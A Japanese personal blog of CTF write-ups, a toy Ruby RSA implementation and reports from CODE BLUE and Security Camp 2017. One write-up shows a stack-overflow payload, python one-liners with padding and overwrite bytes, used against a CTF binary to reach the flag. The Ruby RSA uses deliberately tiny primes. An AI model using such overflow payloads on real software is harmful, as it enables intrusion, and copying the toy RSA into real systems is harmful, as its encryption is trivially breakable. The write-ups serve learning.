久しぶりにWriteupを書いてみる
卒論も無事終わって久しぶりに問題解いたのでWriteup書いていく
問題はNuit du Hack CTF Quals 2016のMatriochka - Step 2です
Matriochka - Step 2
stage2.binというファイルが手に入るのでfileコマンドでみてみるとELFだったのでとりあえず実行してみる
$ ./stage2.bin Usage: ./stage2.bin <pass>
引数を渡さないといけないらしい
てきとうな引数を渡してみる
$ ./stage2.bin abcd Try again...
たぶん引数がflagになる感じ
次は最近勉強しているradare2で解析してみる
ざっくり全体見てみるとやっぱり引数がflagになるらしい
細かく見ていく
ここらへんを見ると最初に引数の文字数の判定をしている
文字数にいくつかの処理をした後の数が0x1f8と等しければいいらしい
フラグの文字数はそんなに多くないだろうと思うので30文字以内で求めてみる
30.times do |n| rax = n rdx = rax + 1 rax = rdx rax = rax << 2 rax += rdx rax = rax << 2 rax += rdx rax += rax puts n if rax == 0x1f8 end >> 11
flagは11文字なのが分かった
少し進むといくつかの条件式があるのがわかる
見てみるとflagの1文字に対していくつかの処理をした後に比較している
[local_30h]に0x8を足したアドレスがflagの先頭になる
つまりここではflag[0] == 0x50
こんな感じで続きもやっていく
2flag[3] = 0xc8
flag[6] == flag[0] + 0x20
rax = flag.size << 3 rax = rax + flag.size rax -= 4 flag[5] == rax
flag[1] == flag[7]
flag[1] == flag[10]
flag[1] - 0x11 == flag[0]
flag[3] == flag[9]
flag[4] == 0x69
flag[2] - flag[1]== 0xd
flag[8] - flag[7]== 0xd
これらを求めると以下のようになる
flag[0] == 0x50 flag[1] == 0x61 flag[2] == 0x6e flag[3] == 0x64 flag[4] == 0x69 flag[5] == 0x5f flag[6] == 0x70 flag[7] == 0x61 flag[8] == 0x6e flag[9] == 0x64 flag[10] == 0x61
文字に直してあげればflagの完成
Flag is {Pandi_panda}
おわりに
卒論等で忙しかったので久しぶりに問題解いた、、、
卒論発表会がまだ残ってるけどSECCONとかに向けて少しずつ準備を進めていきたいですね
CODE BLUEに参加してきた
はじめに
11月8~10日に情報セキュリティの国際カンファレンスであるCODEBLUEに学生スタッフとして参加してきました!!
久しぶりにセキュリティキャンプの友達会えたり、新しい友達ができたりとても楽しかったので書いていきたいと思います!!
1日目
14時半に会場に集合しました。エレベーターに乗ると早速セキュリティキャンプの同期に遭遇。
部屋に入るともうすでにほとんどの人が到着していました。
一人一人の自己紹介が終わった後にスポンサーの方々と懇親会へ。
久しぶりに話す友達がたくさんいて楽しかったです。
懇親会の後は設営の手伝いをして解散。そのあとは行きたい人たちでご飯に向かいました!!
そしてなぜかこの後一睡もできずに会場へ向かうことに、、、
2日目
この日はスタッフとして働く日でした。僕は学生統括のアシスタントをしていたので手の空いている学生を集めたりするのが業務内容でした。
少し時間が空いている時に、聴いてみたかった「産業制御システムに対するStuxnet以来最大の脅威 」がやっていたので聞きました。産業制御システム向けのマルウェアについては、あまり知らないのでとても興味深かったです。そのあとは「アルファベイ・マーケット - サイバー犯罪主導者を振り返る 」を聞いて撤収作業をして解散。
1日目に寝れなかったのでこの日は相当つらかったですが、運よく講演を聞けたので良かったです。
3日目
この日はスタッフではなく、聴く側として参加しました。
聴いた講演は以下の通りです。
- OSSによる自動車の自動運転化
- Androidカーネルに存在する特異なUse-after-freeバグのエクスプロイト手法
- Androsia:一歩先のメモリ内Androidアプリケーションデータの保護
- Take a Jailbreak -Stunning Guards for iOS Jailbreak-
自分の中で印象に残った講演は「Androsia:一歩先のメモリ内Androidアプリケーションデータの保護 」。
Androidにおいて、その先使われることのない機密情報を保持しているオブジェクトを見つけ出し削除するツールについての話でした。
どのようにオブジェクトを追跡していくかのデータフロー分析にも感動しました。(メモとるの忘れたけど)
しかしながらマルチスレッドプログラミングにおいては最後に使われたオブジェクトの追跡は完璧ではないと言っていたような気がする、、、
そしてCODEBLUE最後にの講演である「OSSによる自動車の自動運転化」はGeorge Hotz 氏による講演でした。
技術においては自動運転はそこまで来てるんだなと思ったのと同時に、規制を整備するのが時間かかりそうだとも思った。
最後の講演が終わった後は、撤収作業をしてパーティーに参加しました。名刺を切らしていて、もらうばっかりだったのでそろそろ新しいの作りたいですね、、、
最後に
睡眠時間がかなり少なかった3日間でしたが、それをも吹き飛ばす楽しさでした!!
講演では同時通訳を使っていたのですが、来年にはもう使わなくていいようになりたいと思います、、、
しばらくイベントに参加する予定はないですが、またこのようなイベントに参加できるように頑張ります!!!
RubyでRSAの実装をしてみる
先週から約1週間ずっと風邪をひいていて何もできていなかったのでウォームアップ的な感じで書いていく
RSAとは
RSAとは公開鍵暗号方式の一つであり、大きな素数の素因数分解の難しさを安全性の根拠にしている。
暗号化と復号化は以下の式で表すことができる
暗号文 = 平文 ** E mod N 平文 = 暗号文 ** D mod N
pとqを任意の素数、Lを(p - 1)と(q - 1)の最小公倍数とするとN,E,Dは以下で表すことができる
Nはpとqの積 EはLとの最大公約数が1である素数(1 < E < L) DはEとの積の余りが1となる整数(1 < D <L)
実装
class RSA class << self def encrypt(plain_text, e, n) encrypted_data = plain_text.codepoints encrypted_data.map {|i| i ** e % n} end def decrypt(encrypted_text, d, n) decrypted_data = encrypted_text.map {|i| i ** d % n} decrypted_data.map {|i| i.chr(Encoding::UTF_8)}.join end def gen_prime(seq) loop do sample = seq.sample return sample if is_prime?(sample) end end end private def self.is_prime?(x) for i in 2...x return false if x % i == 0 end true end end
まずは2つの素数p,qを生成する
本来だと大きい素数のほうがいいが検証なので範囲を絞って素数を決定
seq = (1000..3000).to_a p = RSA.gen_prime(seq) q = RSA.gen_prime(seq)
次にN,L,E,Dを求めいていく
n = p * q l = (p - 1).lcm(q - 1) e = (2...l).find {|i| i.gcd(l) == 1} d = (2...l).find {|i| (e * i) % l == 1}
これで暗号化と復号化に必要な要素が手に入った
実際に公開鍵であるE,Nを使って平文を暗号化してみる
plain_text = "Hello World" encrypted_data = RSA.encrypt(plain_text, e, n) p encrypted_data -> [1303611, 1095333, 1510258, 1510258, 791038, 1417401, 854783, 791038, 642503, 1510258, 485707]
暗号化された
最後に暗号化されたものを秘密鍵を使って復号してみる
puts RSA.decrypt(encrypted_data, d, n) -> Hello World
ちゃんと復号されて元の文に戻った
暗号分野はあまり勉強してないけど、たまにやってみるとすごく面白い
それにしても暗号アルゴリズムを考える人はすげえなあ、、、
初のWrite Up書いてみる
最近内定式や卒研で忙しくて何もできていなかったので初のWrite Upを書きます!!
この前チームで参加したDefCamp CTF Qualification 2017の問題のWrite Upです。
How is your memory?
問題からファイルをダウンロードしてみるとmemory.pcap
が手に入った
pcapだったのでwiresharkで見てみるとELFという文字が見えたのでfileで確かめてみた
$ file memory.pcap memory.pcap: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=ffa14db28a5fdf190ee6b0b56af2c7b2cab9cdd5, not stripped
ELFだった、、、
早速動かしてみる
$ ./memory.pcap Oh well you do remember your extension! [You have sent this msg]: [Instead of 0xdeadbeef the target recived]: 0x4030201
なにも入力しないとこんな感じだった。
次はなにか入力してみる
./memory.pcap AAAAAAAAAAA Oh well you do remember your extension! [You have sent this msg]: AAAAAAAAAAA [Instead of 0xdeadbeef the target recived]: 0x4030201
自分が入力した値が表れた
さらに入力してみる
$ ./memory.pcap AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Oh well you do remember your extension! [You have sent this msg]: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [Instead of 0xdeadbeef the target recived]: 0x41414141 Hey hey do not spam! Go home you are drunk!
今まで0x4030201だったのが0x41414141に書き換わっている つまり入力した値で書き換わった。
次は中身を解析してみる。
$ gdb -q ./memory.pcap Reading symbols from ./memory.pcap...(no debugging symbols found)...done. gdb-peda$ disas main Dump of assembler code for function main: 0x080486bb <+0>: lea ecx,[esp+0x4] 0x080486bf <+4>: and esp,0xfffffff0 0x080486c2 <+7>: push DWORD PTR [ecx-0x4] 0x080486c5 <+10>: push ebp 0x080486c6 <+11>: mov ebp,esp 0x080486c8 <+13>: push ecx 0x080486c9 <+14>: sub esp,0x64 0x080486cc <+17>: mov DWORD PTR [ebp-0xc],0x4030201 0x080486d3 <+24>: mov eax,ds:0x804a040 0x080486d8 <+29>: sub esp,0x4 0x080486db <+32>: push eax 0x080486dc <+33>: push 0x2d 0x080486de <+35>: lea eax,[ebp-0x34] 0x080486e1 <+38>: push eax 0x080486e2 <+39>: call 0x80484f0 <fgets@plt> 0x080486e7 <+44>: add esp,0x10 0x080486ea <+47>: sub esp,0xc 0x080486ed <+50>: push 0x8048950 0x080486f2 <+55>: call 0x8048540 <puts@plt> 0x080486f7 <+60>: add esp,0x10 0x080486fa <+63>: sub esp,0x8 0x080486fd <+66>: lea eax,[ebp-0x34] 0x08048700 <+69>: push eax 0x08048701 <+70>: push 0x804897c 0x08048706 <+75>: call 0x8048530 <printf@plt> 0x0804870b <+80>: add esp,0x10 0x0804870e <+83>: sub esp,0x8 0x08048711 <+86>: push DWORD PTR [ebp-0xc] 0x08048714 <+89>: push 0x804899c 0x08048719 <+94>: call 0x8048530 <printf@plt> 0x0804871e <+99>: add esp,0x10 0x08048721 <+102>: cmp DWORD PTR [ebp-0xc],0x4030201 0x08048728 <+109>: je 0x8048743 <main+136> 0x0804872a <+111>: cmp DWORD PTR [ebp-0xc],0xdeadbeef 0x08048731 <+118>: je 0x8048743 <main+136> 0x08048733 <+120>: sub esp,0xc 0x08048736 <+123>: push 0x80489cc 0x0804873b <+128>: call 0x8048540 <puts@plt> 0x08048740 <+133>: add esp,0x10 0x08048743 <+136>: cmp DWORD PTR [ebp-0xc],0xdeadbeef 0x0804874a <+143>: jne 0x8048865 <main+426> 0x08048750 <+149>: sub esp,0xc 0x08048753 <+152>: push 0x80489fc 0x08048758 <+157>: call 0x8048530 <printf@plt> 0x0804875d <+162>: add esp,0x10 0x08048760 <+165>: mov DWORD PTR [ebp-0xc],0xffffff 0x08048767 <+172>: sub esp,0x8 0x0804876a <+175>: lea eax,[ebp-0x34] 0x0804876d <+178>: push eax 0x0804876e <+179>: push 0x8048a64 0x08048773 <+184>: call 0x8048520 <scanf@plt> 0x08048778 <+189>: add esp,0x10 0x0804877b <+192>: sub esp,0x8 0x0804877e <+195>: lea eax,[ebp-0x34] 0x08048781 <+198>: push eax 0x08048782 <+199>: push 0x804897c 0x08048787 <+204>: call 0x8048530 <printf@plt> 0x0804878c <+209>: add esp,0x10 0x0804878f <+212>: sub esp,0x8 0x08048792 <+215>: push DWORD PTR [ebp-0xc] 0x08048795 <+218>: push 0x8048a68 0x0804879a <+223>: call 0x8048530 <printf@plt> 0x0804879f <+228>: add esp,0x10 0x080487a2 <+231>: cmp DWORD PTR [ebp-0xc],0xffffff 0x080487a9 <+238>: je 0x80487c4 <main+265> 0x080487ab <+240>: cmp DWORD PTR [ebp-0xc],0x41414242 0x080487b2 <+247>: je 0x80487c4 <main+265> 0x080487b4 <+249>: sub esp,0xc 0x080487b7 <+252>: push 0x80489cc 0x080487bc <+257>: call 0x8048540 <puts@plt> 0x080487c1 <+262>: add esp,0x10 0x080487c4 <+265>: cmp DWORD PTR [ebp-0xc],0x41414242 0x080487cb <+272>: jne 0x8048865 <main+426> 0x080487d1 <+278>: mov DWORD PTR [ebp-0x3e],0x33736461 0x080487d8 <+285>: mov DWORD PTR [ebp-0x3a],0x73647177 0x080487df <+292>: mov WORD PTR [ebp-0x36],0x78 0x080487e5 <+298>: mov DWORD PTR [ebp-0x43],0x46544344 0x080487ec <+305>: mov BYTE PTR [ebp-0x3f],0x0 0x080487f0 <+309>: mov DWORD PTR [ebp-0x47],0x414853 0x080487f7 <+316>: mov DWORD PTR [ebp-0x4b],0x363532 0x080487fe <+323>: mov DWORD PTR [ebp-0x5b],0x2168654d 0x08048805 <+330>: mov DWORD PTR [ebp-0x57],0x756f5920 0x0804880c <+337>: mov DWORD PTR [ebp-0x53],0x61676120 0x08048813 <+344>: mov DWORD PTR [ebp-0x4f],0x3f6e69 0x0804881a <+351>: sub esp,0xc 0x0804881d <+354>: push 0x8048a98 0x08048822 <+359>: call 0x8048540 <puts@plt> 0x08048827 <+364>: add esp,0x10 0x0804882a <+367>: sub esp,0x4 0x0804882d <+370>: push 0x8048ac3 0x08048832 <+375>: lea eax,[ebp-0x4b] 0x08048835 <+378>: push eax 0x08048836 <+379>: lea eax,[ebp-0x43] 0x08048839 <+382>: push eax 0x0804883a <+383>: push 0x8048ad1 0x0804883f <+388>: lea eax,[ebp-0x3e] 0x08048842 <+391>: push eax 0x08048843 <+392>: push 0x8048ad8 0x08048848 <+397>: lea eax,[ebp-0x3e] 0x0804884b <+400>: push eax 0x0804884c <+401>: lea eax,[ebp-0x4b] 0x0804884f <+404>: push eax 0x08048850 <+405>: lea eax,[ebp-0x47] 0x08048853 <+408>: push eax 0x08048854 <+409>: lea eax,[ebp-0x43] 0x08048857 <+412>: push eax 0x08048858 <+413>: push 0x8048adb 0x0804885d <+418>: call 0x8048530 <printf@plt> 0x08048862 <+423>: add esp,0x30 0x08048865 <+426>: mov eax,0x0 0x0804886a <+431>: mov ecx,DWORD PTR [ebp-0x4] 0x0804886d <+434>: leave 0x0804886e <+435>: lea esp,[ecx-0x4] 0x08048871 <+438>: ret
ここらへんを見ると、[ebp - 0xc]が上書きされている、かつ値が0xdeadbeefじゃないときにHey hey do not spam! Go home you are drunk!
と出力されるので
上書きしてあげて0xdeadbeefにすればここは通過できそう。
0x08048721 <+102>: cmp DWORD PTR [ebp-0xc],0x4030201 0x08048728 <+109>: je 0x8048743 <main+136> 0x0804872a <+111>: cmp DWORD PTR [ebp-0xc],0xdeadbeef 0x08048731 <+118>: je 0x8048743 <main+136> 0x08048733 <+120>: sub esp,0xc 0x08048736 <+123>: push 0x80489cc 0x0804873b <+128>: call 0x8048540 <puts@plt> 0x08048740 <+133>: add esp,0x10 0x08048743 <+136>: cmp DWORD PTR [ebp-0xc],0xdeadbeef 0x0804874a <+143>: jne 0x8048865 <main+426>
やってみる
$ python -c 'print("A"*40 + "\xef\xbe\xad\xde")' | ./memory.pcap Oh well you do remember your extension! [You have sent this msg]: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAᆳ� [Instead of 0xdeadbeef the target recived]: 0xdeadbeef Meh...you did it... but I am not sure you know what you did there... Again, is your memory good enough? [You have sent this msg]: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��� [Instead of 0x41414242 the target recived]: 0xffffff
0xdeadbeefに書き換えてあげたらいけた。
次は同じように0xffffffを0x41414242に書き換えてあげれば良さそう
$python -c 'print("A"*40 + "\xef\xbe\xad\xde" + "A"*40 + "\x42\x42\x41\x41")' | ./memory.pcap Oh well you do remember your extension! [You have sent this msg]: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAᆳ� [Instead of 0xdeadbeef the target recived]: 0xdeadbeef Meh...you did it... but I am not sure you know what you did there... Again, is your memory good enough? [You have sent this msg]: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBAA [Instead of 0x41414242 the target recived]: 0x41414242 Wow I am impressed! Now for the last time: DCTF{SHA256(ads3wqdsx<>ads3wqdsxprintfDCTF256mehgeneration)}
flagっぽいのが出た
echo -n "ads3wqdsx<>ads3wqdsxprintfDCTF256mehgeneration" | sha256sum
フォーマットがDCTF{SHA256}だったので、これで出力したやつがflag
DCTF{33886bb08d43834495866481148c60bbf9b58421d1dd4849865e49fe444366c6}
CTFを本格的に初めてちょうど1ヵ月ぐらいですが、チームのみんなはすごい人ばっかりなので早く追いつきたいですね、、、
毎週チームで大会に参加しているのでまた書こうと思います!!!
では!
セキュリティキャンプ全国大会2017に参加してきた
はじめに
ブログ初めて1回しか書いてなかったので書いていこうと思います。 8/14~8/18で行われた「セキュリティキャンプ2017全国大会」に参加してきました! セキュリティキャンプの参加が決まってから約2ヵ月後に開催されました。 参加してから1ヵ月半ぐらいたつけど許してください、、、
1日目
当日は8:00ぐらいには起きて準備して会場へ。会場は北府中駅が最寄なのですが、自分の最寄り駅からは50分ぐらいだったので余裕をもって行くことができました。
会場に到着すると、、、
こんなものが立っており、「本当に来たんだな」という気持ちになり、少し緊張していました。 会場に入ると参加者はさっそく名刺交換。自分も名刺を交換し始め、開会式が昼食が始まるまで参加者の人たちと話していました。
昼食を食べ終わると、いよいよ開会式。取材陣もいたので少し気を引き締めて臨んだような気がします。
セキュリティ・キャンプ全国大会2017始まりました! #spcamp #seccamp pic.twitter.com/1DQCNcBdvT
— セキュリティ・キャンプ (@security_camp) 2017年8月14日
開会式では、セキュリティキャンプについてどういうものを学んで帰って欲しいかなどを話していました。開会式が終わると、「セキュリティ基礎」から特別講義が始まっていきました。 セキュリティ基礎では、AIが発達してもセキュリティ業界で残る仕事を考えるというテーマをグループでディスカッションをする内容でした!
セキュリティ基礎の次は「グローバルなサイバーセキュリティのおしごと」と「フォレンジックでサイバー脅威に立ち向かう」特別講義を受けました。どちらもユーモアあふれる退屈しない話でした。
特別講義と夕食が終わると、グループワークの始まりです。この時間は最終日に発表するためのテーマを決めました。意外と意見が割れ、なかなか決まりませんでしたが、制限時間ぎりぎりで決めることができました。
グループワークが終わると、1日目は終了し各部屋へ帰りました。きれいな部屋で特に不満もなく過ごせましたね。(写真撮るの忘れた、、、)
この日はとても疲れたのですぐ寝ました。
2日目
2日目は6時半に起きて、朝食へ。 朝食を食べるといよいよ選択講義の始まりです。
ブラウザの脆弱性とインパクト
この講義はリクルートテクノロジーの西村さんとバグハンターで有名なMasatoKinugawaさんのお2人に講師をしていただきました。 Webアプリケーションの脆弱性を探すのではなく、ブラウザ自体の脆弱性を見つけるという貴重な講義でした。 ハンズオンの機会が多く、グループや個人で問題を解くというものがあり、退屈せず楽しかったです。
ID連携と認証
この講義は座学から始まり、自分のidentityやグループのidentityを考えるグループワーク、実際に認証をすり抜ける手法などをハンズオンで行いました。昼食後の授業でとても眠かったのですが、ハンズオンが多かったので助かりました、、、
Vulsを用いた脆弱性ハンドリングとハッカソン
この講義ではVulsの開発者である、神戸さんが講師をしてくださいました。前半はVulsを開発をすることになった経緯、OSSの良さなどを語ってもらい、後半はVulsが対応していないディストリビューションに対応させるというハンズオン形式でグループワークを行いました。僕たちのグループではSUSE Linuxが対象でした。OSSの良さを知ることができる講義だったなと思います。
1講義4時間という長さだったので疲れましたが、この日は次の日の事前課題が終わっていなかったのですぐに寝るわけにもいかず、同じ講義を取る人たちでもくもくとやっていました(ほぼ全員終わってなかった)
3日目
この日ぐらいから起きるのが辛くなり始め、6:45ぐらいに起きた気がします。
参加者の顔も疲れている感じはあった、、、 朝食を食べ終わると、この日も選択講義の始まりです。
Androidのマルウェアなアプリを機械学習で検知しよう!
この講義は機械学習を用いてAndroidのマルウェアを検知するのが目的でした。 事前課題では、svm、knn、randomforestなどを用いて各自で検知率を上げてみるというものでした。85%以上からなかなかあがらず苦戦しまくり前日になっても終わらなかった、、、 また、Pyhtonをほぼ初めて触ったので実装するのに苦労しました。講義ではディープラーニングも触れることができ、貴重な体験でした。今後は機械学習を競馬に生かしてみたいと思ってます。
The Anatomy of Malware
この講義はセキュリティキャンプで一番楽しみにしていた講義です。人気が高かったらしいのですが、無事受けることができました。前半は座学をやり、後半は、マルウェアを「動かしたら負け」という信念を元にもくもくと静的解析をしてた感じです。マルウェア解析に興味がありつつも、なかなか実践する機会がなかったので貴重な体験でした。これからは自分でもやっていけるようになりたいですね。
そして夜からは1日目以来のグループワークです。グループワークをする以外でもメンバーとは会っていたのですが、さすがに3日目はみんな顔が疲れていました、、、 自分も疲れてましたが、次の日の課題をやらなければならないのですぐには寝れなかったですね、、、
3日目が一番体力的にきつかった気がしますが、無事にやることを終えて就寝です。
4日目
講義のある日はこの日が最終日でした。 7時前に起床し、朝食へ。そしていよいよラスト講義です。
インシデントレスポンスで犯人を追いかけろ
フォレンジックをあるストーリーに沿って学んでいくというものでした。4時間×2コマという長い時間でしたが、まったく飽きなかったです。あまり授業の内容には触れられないですが、受講してよかったと思います。
講義が終わると最終日のプレゼンに向けてグループワーク。メンバーの一人が斬新なアイディアにみんな賛成し、一気にプレゼンづくりへ。 この日は就寝時間ぎりぎりまでグループで話し合いをしていました。話し合いを終えて次の日のプレゼンに少し緊張しながらも就寝。
5日目
いよいよ最終日の5日目。 なんかこの日は寝坊してきた人が多かった記憶がありますね笑 自分は無事起床して閉会式などが行われる部屋へ。
自分たちの発表はかなり後ろだった気がします。 他のコースの成果報告、テーマに沿ったプレゼンが無事に終わりました。 小学生や中学生も堂々と発表していてすごいなと思いましたね、、、
そして最後の閉会式が終わり、体力的に辛いながらもすごく楽しかった約5日間のセキュリティキャンプが幕を閉じました。
終わりに
感想を一言で言うと、とても楽しかったです。いろいろな専門分野をもった人たちを繋がることができたのもうれしかったです。 帰りは、何人かでご飯を食べに行きました。まさか家からチャリで5分くらいの距離に住んでる参加者がいるとは、、、
キャンプが終わった後は、Sans NetWarsに参加したり、CTFチームに入れてもらったり、11月にはCODE BLUEの学生スタッフとして参加したりなどイベントがたくさんあります。 そういうものに参加してセキュリティキャンプや自分で学んだことをアウトプットしていきたいですね。
これからもがんばります!!
では!!
セキュリティキャンプ全国大会2017応募用紙
はじめに
セキュリティキャンプ全国大会2017に参加できることになりました! 応募用紙をさらしている人がけっこういるので自分も晒します。
就活と両立で書かなければならなかったため、少しずつ書いていました。(残り3日で6割は書きましたが笑)
作ったものはちょっと恥ずかしいので載せませんが、ご了承ください!
共通問題
共-1(1)あなたが今まで作ってきたものにはどのようなものがありますか? いくつでもいいので、ありったけ自慢してください。
省略します。すいません、、、
共-1 (2) それをどのように作りましたか?ソフトウェアの場合には、どんな言語で作ったのか、どんなライブラリを使ったのかなども教えてください。追加したい機能や改善の案があれば、それも教えてください。
こちらも省略させてください、、、
共-2(1)あなたが経験した中で印象に残っている技術的な壁はなんでしょうか?(例えば、C言語プログラムを複数ファイルに分割する方法など)
インターンでRuby on RailsのWebアプリケーション開発をしている際、パフォーマンスチューニングの仕事を依頼されました。対象のWebアプリケーションは一般のユーザーに使ってもらうものではなく、社内ツールでした。その社内ツールは、大量のデータを扱いつつも自社でのみ使用するため、あまりきれいに作られていませんでした。その作業効率を上げるためにパフォーマンスチューニングを頼まれました。 チューニングするところは大量のデータのあるモデルの一覧を描画するページでした。(Userモデルというものがあり、User一覧を表示するページを表示する場合にパフォーマンスが遅くなるなど。)当時は開くのに20~30秒かかっていました。
普段はパフォーマンスチューニングをする際には、たいてい無駄なクエリが発生している場合が多いですが、その時は特に無駄なクエリはなく、原因が不明でした。 その原因を突き止めパフォーマンスチューニングをするというのが私の印象に残っている技術的な壁です。
共-2(2)また、その壁を乗り越えるためにとった解決法を具体的に教えてください。 (例えば、知人に勧められた「○○」という書籍を読んだなど)
その壁を乗り越えるべく、Ruby on Railsにおけるパフォーマンスチューニングについて学んでいきました。その際に「実践Rails 強力なWebアプリケーションをすばやく構築するテクニック」のパフォーマンスの章を主に読みました。Railsではどのようなことが原因でパフォーマンスが低下するなどを調べ、ボトルネックを調査していきました。ボトルネックの調査では、便利なgemの導入や、本で培った知識をもとに調査を進めました。 調査を進めていくとクエリが遅いのではなく、ページの描画が遅いということがわかりました。 その時のボトルネックは2つありました。 1つ目は、ActiveRecordによるオブジェクト生成に時間がかかっていたことです。 このボトルネックに関しては、経験があり、すぐに分かったのと、たいしたボトルネックにはなっていませんでした。このボトルネックは、ActiveRecordを使用するのではなく、直接データベースからとってくることで解決しました。 2つ目は、Railsが用意してくれているlinkを自動生成するメソッドにかなりの時間がかかっていたことです。このボトルネックに気づいたのは、たまたまlinkを生成するメソッドは処理が重いという記事を見つけ、試しにその部分を消してみるとかなり速度が上がったために確信しました。 linkを消すわけにもいかないので、自動生成させるのではなく、直接linkを生成してあげることで解決しました。
共-2(3)その壁を今経験しているであろう初心者にアドバイスをするとしたら、あなたはどんなアドバイスをしますか?
ボトルネックはさまざまなものがあると思うので、今回のボトルネックに限らず、パフォーマンスチューニング全般に言えるアドバイスをしたいと思います。
まずRailsにおけるパフォーマンスチューニングのやり方を調べる。
パフォーマンス低下の原因は今回の例だけでなくたくさんあると思います。
それを解決するためにはパフォーマンスチューニングのやり方を知らなければなりません。
Railsでパフォーマンスが低下する原因はどのようなものがあるのか、またそれを解決するにはどうすればいいのかを基礎的な知識を身につけることをすすめます。
見えているもの以外の観点を持つ
パフォーマンスの低下は、実は思いがけないところにあったりするということです。
今回のボトルネックは、クエリが大量に発生しているか、オブジェクトの生成に時間がかかっていると思っていました。しかしその二つにはあまり時間がかかっていませんでした。
書いてあったコードがずっと原因だと考えていましたが、実際はRailsがもつ元々の機能に時間がかかっていました。原因になるものを決めつけずにあらゆる観点を持ったほうがいいと思います。
作る時に気を付ける
気を付けながら実装していれば極端なパフォーマンス低下はあまり発生しないと思います。
書いたコードは同じ処理を繰り返していないか、無駄なクエリが発生していないかを確認するべきです。他には、ページングをして1ページに表示できる件数を設定するなど。
DBへのクエリの詳細を表示するライブラリなどを使用してみてどのようなクエリがその画面で発生しているのかを見てみるとわかりやすいです。
限られた中で最大のパフォーマンスを
今回のボトルネックはlinkの生成を直接指定してあげたので機能面を損なわずにチューニングできました。しかしながらチューニングには機能を少し変える必要があるが、開発者以外の要望で機能は絶対に変えられないということがあると思います。その限られた中でチューニングをして、最大のパフォーマンスを出すことをこころがけることを伝えます。
共-3(1) あなたが今年のセキュリティ・キャンプで受講したいと思っている講義は何ですか?(複数可) そこで、どのようなことを学びたいですか?なぜそれを学びたいのですか?
A1 PowerShellベースのマルウェアとその防御手法
この講義内容の説明で「ファイルレスマルウェア」という言葉を初めて知りました。
そのマルウェアはほかのマルウェアとどう違うのか、防御方法どういうものなのかを知りたいです。
また興味本位なのですが、ShinoBOTを使用してみたいです。
C1 ブラウザの脆弱性とそのインパクト
普段RailsでのWebアプリケーションの開発をしており、その開発しているWebアプリケーションに脆弱性があるかどうかを気にしているのですが、ブラウザ上に脆弱性があるかどうかは気にしていませんでした。ブラウザ上の脆弱性はどのようにして見つけるのか、また脆弱性が見つかった時にブラウザ側で脆弱性を埋める以外に開発しているWebアプリケーション側で対策はどのようにして行うのかを知りたいです。ブラウザに脆弱性があった場合、どのような対処が開発側でできるのかを周りの人に伝えることができる人になっていきたいです。
D1 Linuxカーネルを理解して学ぶ 脆弱性入門
低レイヤーのセキュリティは今まであまり触れてきたことがなく、学びたいと思いました。
普段Webアプリケーション開発など高レイヤーに触れる事が多い中でも、しっかりと低レイヤーの知識ある人になりたいです。
C3 Vulsを用いた脆弱性ハンドリングとハッカソン
普段開発をしていると自分のコードは安全に書けているのか?ということは気にしますが、サーバやフレームワーク自体に脆弱性があるとはあまり考えることがありませんでした。また、セキュリティニュースを毎日見ていても見落とすことがあると思います。そんな時セキュリティツールがslackなどど連携して情報を提供してくれると便利です。そういう便利なセキュリティツールをこの講義を通して作りたいと思います。講義が終わった後でも思いついた役立つセキュリティツールを自分で開発できるようにVulsというセキュリティツールををどのようにして作ってきたのかをしっかりと記憶に残したいです。世の中にたくさんのOSSがある中で、自分が作ったものが世界中の人々に使ってもらうというのは最高に魅力です。
D4 マルウェア x 機械学習
最近「機械学習」によってさまざまな分野が自動化されていると思います。セキュリティへの機械学習の応用は未知のマルウェアの検知など、よく耳にすることがあります。ですが実際にマルウェア検知に機械学習がどのように使われていくのか、また、その検知はどのくらい正確なのかをハンズオンなどを通してで具体的に知りたいと思いました。
D5 The Anatomy of Malware
最近、マルウェア解析に興味が出始め、自分でアセンブラの勉強などを始めました。マルウェアに触れる機会がほとんどないのでこの機会にたくさん触れたいです。自分はログやコードを読むのが好きなので、マルウェアの中身をとても覗いてみたいです。まだ知識は少ないですが、セキュリティキャンプに参加した後も独学で勉強ができるように、この講義でさらに自分の知識を向上させていきたいと思います。
E6~7 インシデントレスポンスで攻撃者を追いかけろ
私は以前イベントで模擬的なインシデントレスポンスを経験したことがあるのですが、サイバー攻撃を分析する知識を把握できていません。
実際のサイバー攻撃を分析するにはどのような知識が必要かを把握し、自らが将来インシデントレスポンスをできるようになっていきたいです。
共-3(2)あなたがセキュリティ・キャンプでやりたいことは何ですか? 身につけたいものは何ですか?(複数可) 自由に答えてください。
技術的な面において2つあります。
1つ目は、現在インターンなどでWebアプリケーションの開発をしているのですが、セキュリティに関して確実なことを周りに教えることができていません。毎日セキュリティのニュースを見てslackに流すことしかできていないのが現状です。セキュリティキャンプを通して今ある知識をより確実にし、他人に教えるなどしっかりとアウトプットできる人になりたいです。
2つ目は、Webアプリケーションなどの高レイヤーの技術などは独学以外にも実践的な学び(開発インターンなど)をできているのですが、低レイヤーに関しては独学がほとんどです。低レイヤーを学ぶのはとても好きなのですが、今回では独学ではできないような講義がたくさんあるのでとても楽しみです。今後低レイヤーをどのように学んでいけばいいのかなど講義を通してロードマップを作りたいと思っています。
次に技術的な面以外においては3つあります。
1つ目は、「セキュリティ」という同じ志を持った人たちと友達になりたいです。
私は経済学部に所属しているのですが、プログラミングをやっている人は少し見かけますが、セキュリティに興味を持っている人はいません。セキュリティの友達を作るべくイベントなどにも参加し、作ることはできましたが、多くの人とつながりたいというのが正直な気持ちです。セキュリティキャンプに参加し、勉強をしている時に質問に答えてくれる仲間、自分のモチベーションをあげてくれる仲間をたくさん作りたいです。
2つ目は、参加する人たちとたくさんの情報交換をしたいです。現在なにをやっているのか、なにをやってきたのか、これからどうしていくのかなどを聞き、自分には何が足りなくて、今後何を学んでいかなければならないかをしっかりと把握したいと思います。
